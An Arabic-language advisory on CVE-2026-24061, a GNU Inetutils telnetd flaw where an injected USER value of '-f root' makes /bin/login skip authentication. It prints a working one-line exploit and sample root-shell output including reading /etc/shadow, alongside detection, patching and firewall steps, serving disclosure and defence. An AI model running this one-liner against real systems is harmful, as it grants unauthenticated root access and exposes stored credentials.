🚨 CVE-2026-24061 — “TelneTD”

خطأ تجاوز المصادقة عن بُعد خطير في telnetd من GNU Inetutils
عاد شبح عام 2015 ليمتلك كل شيء لا يزال يشغل telnet.

لا مصادقة. متغير بيئة واحد. شل الجذر فوري.

⚠️ نظرة عامة

CVE-2026-24061 هو ثغرة تصعيد صلاحيات عن بُعد خطيرة في GNU Inetutils telnetd ≤ 2.7.

يقوم مهاجم عن بُعد غير موثوق بتعيين متغير البيئة USER إلى "-f root" عبر خيار Telnet NEW-ENVIRON.
يمرره telnetd دون تنقية مباشرة إلى /bin/login → يرى login -f root → يتجاوز جميع عمليات المصادقة → يلقي بالمهاجم في شل جذر.

بقي الكود الخطير هادئًا في الشجرة لمدة تقريبًا 11 عامًا (منذ حوالي 2015).

"متغير بيئة واحد. لا كلمة مرور. جذر كامل. مرحبًا بك في 2026."

🔥 الخطورة والتأثير

• درجة CVSS v3.1 الأساسية: 9.8 / خطير
  AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
• ناقل الهجوم: شبكة (TCP/23)
• الصلاحيات المطلوبة: لا شيء
• تفاعل المستخدم: لا شيء
• نضج الاستغلال: تافه (سطر واحد يعمل من أي عميل telnet)

الواقع في مارس 2026:

• تم رصد مسح ضوئي جماعي واستغلال منذ أواخر يناير
• الأجهزة المضمنة القديمة، معدات OT، خوادم الاختبار المنسية لا تزال مفتوحة على مصراعيها
• اختراق كامل للنظام: بيانات الاعتماد، الثبات، نقطة دخول برامج الفدية

🕵️ الاكتشاف

• تم الإبلاغ الخاص لمطوري GNU في منتصف يناير 2026
• تم الكشف العام عبر oss-security في أواخر يناير 2026
• تم الإصلاح في GNU Inetutils ≥ 2.8 (صدر بعد الكشف بفترة قصيرة)

🔬 الغوص التقني العميق

عندما يتلقى telnetd خيار NEW-ENVIRON يحتوي على:

USER=-f root

يقوم بإلحاق القيمة مباشرة إلى argv الممرر إلى /bin/login:

execve("/bin/login", ["login", "-f", "root", ...], ...)

يفسر binary login -f root على أنه:
"هذا المستخدم قد تمت مصادقته بالفعل كجذر — لا حاجة للتحقق من كلمة المرور."

→ يحصل المهاجم على موجه #. انتهت اللعبة.

الاختيار التصميمي القاتل الرئيسي: لم يتم تقييد إعادة توجيه -R / متغيرات البيئة للمستخدمين المصرح لهم أبدًا.

📅 الجدول الزمني

🖥️ الأنظمة المتأثرة

الإصدارات الضعيفة: GNU Inetutils telnetd 1.9.3 – 2.7
الأهداف الشائعة في 2026:

• وحدات التحكم الصناعية القديمة و HMIs
• أجهزة التوجيه القديمة، المحولات، الطابعات
• الأجهزة المضمنة المشتقة من Debian
• أجهزة VM والحاويات المنسية للتطوير/الاختبار
• بوابات OT التي لا تزال تعرض TCP/23

آمن:

• الأنظمة التي تشغل busybox telnetd
• Inetutils ≥ 2.8
• Telnet معطل بالكامل / محمي بجدار ناري

💥 الاستغلال عمليًا

سطر واحد (أي Linux/macOS مع عميل telnet):

USER="-f root" telnet -a 192.168.1.50

المخرجات النموذجية:

┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Debian GNU/Linux 12 telnetd

root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...

بضغطة مفتاح Enter واحدة لاحقًا — وصول كامل إلى الجذر.

🛡️ الفحص والإصلاح (مارس 2026)

1. كشف الخدمة الضعيفة

telnet localhost 23   # look for inetutils banner
inetutils-telnetd --version   # vulnerable if ≤ 2.7

2. إيقافه (الأفضل للأبد)

systemctl disable --now inetutils-inetd   # or telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd

3. التحديث (فقط إذا كان يجب الاحتفاظ بـ telnet — نادر)

sudo apt update && sudo apt install --reinstall inetutils-telnetd   # → ≥2.8

4. جدار الحماية (حزام وعلاقات)

iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp

📈 الحالة — مارس 2026

• يستمر الاستغلال ضد الأجهزة القديمة غير المصححة
• استخدام Telnet عند أدنى مستوى على الإطلاق — لكنه لا يزال مميتًا عند وجوده
• الدرس المستفاد للنظام البيئي: البروتوكولات القديمة هي ألغام أرضية

🎓 دروس محفورة في الحجر

• ثغرات عمرها 11 عامًا لا تزال مختبئة في كود "ميت"
• لا تمرر أبدًا إدخال مستخدم غير منقى إلى ثنائيات تنتج جذرًا
• حقن الوسائط → الجذر هو خالد
• كان يجب أن يموت Telnet في 2010. اقتله في 2026.